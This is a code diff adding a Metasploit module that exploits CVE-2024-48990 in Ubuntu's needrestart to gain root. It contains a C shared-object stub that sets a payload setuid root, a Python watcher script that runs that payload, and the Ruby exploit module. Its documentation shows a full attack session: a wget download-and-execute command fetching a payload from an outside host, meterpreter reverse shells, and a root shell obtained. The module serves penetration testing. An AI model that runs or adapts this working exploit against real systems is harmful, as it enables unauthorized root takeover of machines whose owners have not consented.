Ubuntu needrestart LPE (CVE-2024-48990)

data/exploits/CVE-2024-48990/lib.metasm

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+/*
+// system call
+#include <stdlib.h>
+// setuid, setgid
+#include <unistd.h>
+
+static void a() __attribute__((constructor));
+
+void a() {
+  setuid(0);
+  setgid(0);
+  const char *shell = "chown root:root PAYLOAD_PATH; chmod a+x PAYLOAD_PATH; chmod u+s PAYLOAD_PATH &";
+  system(shell);
+}
+*/
+
+extern int setuid(int);
+extern int setgid(int);
+extern int system(const char *__s);
+
+void a(void) __attribute__((constructor));
+
+void __attribute__((constructor)) a() {
+  setuid(0);
+  setgid(0);
+  system("chown root:root 'PAYLOAD_PATH'; chmod a+x,u+s 'PAYLOAD_PATH'");
+}

data/exploits/CVE-2024-48990/sleeper.py

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+import os
+import time
+import pwd
+
+print("#########################\n\nDont mind the error message above\n\nWaiting for needrestart to run...")
+
+while True:
+    try:
+        file_stat = os.stat('PAYLOAD_PATH')
+    except FileNotFoundError:
+        exit()
+    username = pwd.getpwuid(file_stat.st_uid).pw_name
+    #print(f"Payload owned by: {username}. Stats: {file_stat}")
+    if (username == 'root'):
+        os.system('PAYLOAD_PATH &')
+        exit()
+    time.sleep(1)

documentation/modules/exploit/linux/local/ubuntu_needrestart_lpe.md

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+## Vulnerable Application
+
+Local attackers can execute arbitrary code as root by
+tricking needrestart into running the Python interpreter with an
+attacker-controlled PYTHONPATH environment variable.
+
+Verified against Ubuntu 22.04 with needrestart 3.5-5ubuntu2.1
+
+Exploitation against vulnerable needrestart versions on
+Debian 12 and Fedora 39 were unsuccessful
+however install and run instructions are listed below.
+
+### Debian 
+
+Install: `apt-get install needrestart=3.6-4+deb12u1`
+
+Binary location: `/usr/sbin/needrestart`
+
+### Fedora 39
+
+Install: `dnf install needrestart-3.6-9.fc39.noarch`
+
+Binary location: `/usr/sbin/needrestart`
+
+## Verification Steps
+
+1. Install the application
+2. Start msfconsole
+3. Get an initial shell
+4. Do: `use exploit/linux/local/ubuntu_needrestart_lpe`
+5. Do: `set lhost <ip>`
+6. Do: `set lport <port>`
+7. Do: `set session <session>`
+8. Do: `run`
+9. You should get a root shell.
+
+## Options
+
+## Scenarios
+
+### Ubuntu 22.04 with needrestart 3.5-5ubuntu2.1
+
+Gain initial shell
+
+```
+msf6 > use exploit/multi/script/web_delivery
+998
+run[*] Using configured payload python/meterpreter/reverse_tcp
+msf6 exploit(multi/script/web_delivery) > set target 7
+target => 7
+msf6 exploit(multi/script/web_delivery) > set payload linux/x64/meterpreter/reverse_tcp
+payload => linux/x64/meterpreter/reverse_tcp
+msf6 exploit(multi/script/web_delivery) > set lhost 1.1.1.1
+lhost => 1.1.1.1
+msf6 exploit(multi/script/web_delivery) > set lport 4998
+lport => 4998
+msf6 exploit(multi/script/web_delivery) > set srvport 8998
+srvport => 8998
+msf6 exploit(multi/script/web_delivery) > run
+[*] Exploit running as background job 0.
+[*] Exploit completed, but no session was created.
+msf6 exploit(multi/script/web_delivery) > 
+[*] Started reverse TCP handler on 1.1.1.1:4998 
+[*] Using URL: http://1.1.1.1:8998/dKtdkMS
+[*] Server started.
+[*] Run the following command on the target machine:
+wget -qO Ejq8lHli --no-check-certificate http://1.1.1.1:8998/dKtdkMS; chmod +x Ejq8lHli; ./Ejq8lHli& disown
+[*] 2.2.2.2   web_delivery - Delivering Payload (250 bytes)
+[*] Sending stage (3045380 bytes) to 2.2.2.2
+[*] Meterpreter session 1 opened (1.1.1.1:4998 -> 2.2.2.2:52004) at 2024-11-22 12:07:55 -0500
+
+msf6 exploit(multi/script/web_delivery) > sessions -i 1
+[*] Starting interaction with 1...
+
+meterpreter > getuid
+Server username: h00die
+meterpreter > background
+[*] Backgrounding session 1...
+```
+
+Priv Esc
+
+```
+msf6 exploit(multi/script/web_delivery) > use exploit/linux/local/ubuntu_needrestart_lpe
+[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
+msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set payload linux/x64/meterpreter/reverse_tcp
+payload => linux/x64/meterpreter/reverse_tcp
+msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set lhost 1.1.1.1
+lhost => 1.1.1.1
+msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set lport 4977
+lport => 4977
+msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set session 1
+session => 1
+msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set verbose true
+verbose => true
+msf6 exploit(linux/local/ubuntu_needrestart_lpe) > run
+
+[*] Started reverse TCP handler on 1.1.1.1:4977 
+[*] Running automatic check ("set AutoCheck false" to disable)
+
+[+] The target appears to be vulnerable. Vulnerable needrestart version 3.5-5ubuntu2.1 detected on Ubuntu 22.04
+[*] Writing '/tmp/.1K8Hy2tOtq' (250 bytes) ...
+[*] Uploading payload: /tmp/.1K8Hy2tOtq
+[*] Creating directory /tmp/importlib
+[*] /tmp/importlib created
+[*] Uploading c_stub: /tmp/importlib/__init__.so
+[*] Uploading py_script: /tmp/.FzzlJ
+[*] Launching exploit, and waiting for needrestart to run...
+```
+
+On the remote Ubuntu box run `sudo needrestart`
+
+```
+[*] Transmitting intermediate stager...(126 bytes)
+[*] Sending stage (3045380 bytes) to 2.2.2.2
+[*] chown: changing ownership of '/tmp/.1K8Hy2tOtq': Operation not permitted
+[*] Error processing line 1 of /usr/lib/python3/dist-packages/zope.interface-5.4.0-nspkg.pth:
+[*] 
+[*]   Traceback (most recent call last):
+[*]     File "/usr/lib/python3.10/site.py", line 192, in addpackage
+[*]       exec(line)
+[*]     File "<string>", line 1, in <module>
+[*]   ImportError: dynamic module does not define module export function (PyInit_importlib)
+[*] 
+[*] Remainder of file ignored
+[*] #########################
+[*] 
+[*] Dont mind the error message above
+[*] 
+[*] Waiting for needrestart to run...
+[*] Payload owned by: root
+[+] Deleted /tmp/.1K8Hy2tOtq
+[+] Deleted /tmp/.FzzlJ
+[+] Deleted /tmp/importlib
+[*] Meterpreter session 2 opened (1.1.1.1:4977 -> 2.2.2.2:57644) at 2024-11-22 12:08:28 -0500
+
+meterpreter > 
+meterpreter > getuid
+Server username: root
+```

modules/exploits/linux/local/ubuntu_needrestart_lpe.rb

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+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Local
+  Rank = GreatRanking
+
+  include Msf::Post::Linux::Priv
+  include Msf::Post::Linux::System
+  include Msf::Post::File
+  include Msf::Exploit::EXE
+  include Msf::Post::Linux::Kernel
+  include Msf::Exploit::FileDropper
+  include Msf::Post::Linux::Compile
+  prepend Msf::Exploit::Remote::AutoCheck
+
+  def initialize(info = {})
+    super(
+      update_info(
+        info,
+        'Name' => 'Ubuntu needrestart Privilege Escalation',
+        'Description' => %q{
+          Local attackers can execute arbitrary code as root by
+          tricking needrestart into running the Python interpreter with an
+          attacker-controlled PYTHONPATH environment variable.
+
+          Verified against Ubuntu 22.04 with needrestart 3.5-5ubuntu2.1
+          Attempted exploitation against Debian 12, expliotation failed
+        },
+        'License' => MSF_LICENSE,
+        'Author' => [
+          'h00die', # msf module
+          'makuga01', # PoC
+          'qualys' # original advisory
+        ],
+        'Platform' => [ 'linux' ],
+        'Arch' => [ ARCH_X86, ARCH_X64 ],
+        'Stance' => Msf::Exploit::Stance::Passive, # seems to not work...
+        'SessionTypes' => [ 'shell', 'meterpreter' ],
+        'Targets' => [[ 'Auto', {} ]],
+        'Privileged' => true,
+        'References' => [
+          [ 'URL', 'https://github.com/makuga01/CVE-2024-48990-PoC'],
+          [ 'URL', 'https://www.qualys.com/2024/11/19/needrestart/needrestart.txt'],
+          [ 'CVE', '2024-48990']
+        ],
+        'DisclosureDate' => '2024-11-19',
+        'DefaultTarget' => 0,
+        'Notes' => {
+          'Stability' => [CRASH_SAFE],
+          'Reliability' => [REPEATABLE_SESSION],
+          'SideEffects' => [ARTIFACTS_ON_DISK]
+        }
+      )
+    )
+    register_advanced_options [
+      OptString.new('WritableDir', [ true, 'A directory where we can write and execute files', '/tmp' ])
+    ]
+  end
+
+  def base_dir
+    datastore['WritableDir'].to_s
+  end
+
+  def check
+    # fedora https://bodhi.fedoraproject.org/updates/FEDORA-2024-a9cf3dad4f
+    # debian https://security-tracker.debian.org/tracker/CVE-2024-48990
+    fixed_versions = {
+      '24.10' => Rex::Version.new('3.6-8ubuntu4.2'),
+      '24.04' => Rex::Version.new('3.6-7ubuntu4.3'),
+      '22.04' => Rex::Version.new('3.5-5ubuntu2.2'),
+      '20.04' => Rex::Version.new('3.4-6ubuntu0.1.esm1'),
+      '18.04' => Rex::Version.new('3.1-1ubuntu0.1.esm1'),
+      '16.04' => Rex::Version.new('2.6-1ubuntu0.1.esm1'),
+      '12' => Rex::Version.new('3.6-4.deb12u2'), # debian bookworm
+      '11' => Rex::Version.new('3.5-4.deb11u4'), # debian bullseye
+      # may be more versions, but this felt good enough
+      '38' => Rex::Version.new('3.8-1'),
+      '39' => Rex::Version.new('3.8-1'),
+      '40' => Rex::Version.new('3.8-1'),
+      '41' => Rex::Version.new('3.8-1')
+    }
+    info = get_sysinfo
+    return CheckCode::Safe('Only Ubuntu/Debian/Fedora have check functionality') unless ['debian', 'ubuntu', 'fedora'].include? info[:distro]
+
+    if info[:distro] == 'ubuntu'
+      version = info[:version].split(' ')[1].slice(0, 5) # take off any extra version info
+      return CheckCode::Safe("Ubuntu version #{version} is not vulnerable or untested") unless fixed_versions.key? version
+    elsif info[:distro] == 'debian'
+      return CheckCode::Safe('Debian may be vulnerable however the exploit does not work against it')
+    elsif info[:distro] == 'fedora'
+      return CheckCode::Safe('Fedora may be vulnerable however the exploit does not work against it')
+    end
+
+    return CheckCode::Safe('needrestart binary not found') unless command_exists?('needrestart')
+
+    package = cmd_exec('dpkg -l needrestart | grep \'^ii\'')
+    package = package.split(' ')[2]
+    package = package.gsub('+', '.')
+    # next line will need to be included if we want to support fedora
+    # package = package.gsub('needrestart-', '') # fedora specific
+    package = Rex::Version.new(package)
+    return CheckCode::Safe('needrestart not install, or not detected.') if package == Rex::Version.new('0') # aka empty/nil
+
+    return CheckCode::Appears("Vulnerable needrestart version #{package} detected on Ubuntu #{version}") if package < fixed_versions[version]
+
+    CheckCode::Safe("needrestart is not vulnerable on Ubuntu #{version}")
+  end
+
+  def exploit
+    # Check if we're already root
+    if !datastore['ForceExploit'] && is_root?
+      fail_with Failure::None, 'Session already has root privileges. Set ForceExploit to override'
+    end
+
+    # Make sure we can write our exploit and payload to the local system
+    unless writable? base_dir
+      fail_with Failure::BadConfig, "#{base_dir} is not writable"
+    end
+
+    # upload payload
+    payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
+    upload_and_chmodx payload_path, generate_payload_exe
+    vprint_status("Uploading payload: #{payload_path}")
+    register_files_for_cleanup(payload_path)
+
+    # our c stub file does our chmod/chown/suid for the payload
+    c_stub = strip_comments(exploit_data('CVE-2024-48990', 'lib.metasm'))
+    c_stub = c_stub.gsub('PAYLOAD_PATH', payload_path)
+
+    case kernel_arch
+    when ARCH_X86
+      cpu = Metasm::Ia32.new
+    when ARCH_X64
+      cpu = Metasm::X86_64.new
+    else
+      fail_with Failure::NoTarget, 'Target is not compatible'
+    end
+
+    begin
+      c_stub = Metasm::ELF.compile_c(cpu, c_stub).encode_string(:lib)
+      c_stub_path = "#{base_dir}/importlib/__init__.so"
+    rescue StandardError
+      print_error "Metasm encoding failed: #{$ERROR_INFO}"
+      elog "Metasm encoding failed: #{$ERROR_INFO.class} : #{$ERROR_INFO}"
+      elog "Call stack:\n#{$ERROR_INFO.backtrace.join "\n"}"
+      fail_with Failure::Unknown, 'Metasm encoding failed'
+    end
+
+    mkdir "#{base_dir}/importlib"
+    write_file(c_stub_path, c_stub)
+    vprint_status("Uploading c_stub: #{c_stub_path}")
+    register_files_for_cleanup(c_stub_path)
+    register_dir_for_cleanup("#{base_dir}/importlib")
+
+    # the python script is needed for having the PYTHONPATH set and watches
+    # for our payload to be modified, then run it
+    py_script = strip_comments(exploit_data('CVE-2024-48990', 'sleeper.py'))
+    py_script = py_script.gsub('PAYLOAD_PATH', payload_path)
+
+    py_stub_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
+    write_file py_stub_path, py_script
+    vprint_status("Uploading py_script: #{py_stub_path}")
+    register_files_for_cleanup(py_stub_path)
+
+    # Launch exploit with a timeout.  We also have a vprint_status so if the user wants all the
+    # output from the exploit being run, they can optionally see it
+    timeout = 90_000 # 25 hours
+    print_status 'Launching exploit, and waiting for needrestart to run...'
+    output = cmd_exec "PYTHONPATH=\"#{base_dir}\" python3 '#{py_stub_path}'", nil, timeout
+    output.each_line { |line| vprint_status line.chomp }
+  end
+end